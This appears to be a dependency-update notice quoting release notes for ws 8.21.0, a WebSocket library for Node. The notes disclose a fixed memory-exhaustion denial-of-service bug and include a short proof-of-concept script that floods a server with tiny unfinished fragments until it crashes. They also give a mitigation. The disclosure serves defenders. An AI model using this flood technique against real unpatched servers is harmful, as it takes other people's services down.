Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• 5d9b316 [dist] 8.20.1
• c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
• ce2a3d6 [ci] Test on node 26
• 58e45b8 [ci] Do not test on node 25
• 5f26c24 [ci] Run the lint step on node 24
• 8439255 [dist] 8.20.0
• d3503c1 [minor] Export the PerMessageDeflate class and header utils
• Additional commits viewable in compare view